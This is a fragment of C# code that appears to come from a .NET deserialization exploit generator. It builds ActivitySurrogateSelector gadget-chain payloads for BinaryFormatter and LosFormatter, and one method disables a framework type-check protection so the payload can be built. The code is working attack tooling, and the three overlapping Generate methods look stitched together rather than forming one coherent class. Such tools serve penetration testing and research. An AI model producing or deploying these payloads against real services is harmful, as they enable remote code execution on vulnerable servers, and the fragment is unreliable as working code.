public override object Generate(string formatter, InputArgs inputArgs) { // Disable ActivitySurrogate type protections during generation System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); PayloadClass payload = new PayloadClass(variant_number, inputArgs); if (inputArgs.Minify) { byte[] payloadInByte = payload.GadgetChainsToBinaryFormatter(); if (formatter.ToLower().Equals("binaryformatter")) { if (inputArgs.Test) { try { SerializersHelper.BinaryFormatter_deserialize(payloadInByte); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payloadInByte); } else if (formatter.ToLower().Equals("losformatter")) { payloadInByte = Helpers.ModifiedVulnerableBinaryFormatters.SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(payload.GadgetChainsToBinaryFormatter()); if (inputArgs.Test) { try { SerializersHelper.LosFormatter_deserialize(payloadInByte); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payloadInByte); } } return(Serialize(payload, formatter, inputArgs)); }
public override object Generate(string cmd, string formatter, Boolean test) { PayloadClass payload = new PayloadClass(); return(Serialize(payload, formatter, test)); }
public override object Generate(string formatter, InputArgs inputArgs) { PayloadClass payload = new PayloadClass(variant_number, inputArgs); return(Serialize(payload, formatter, inputArgs)); }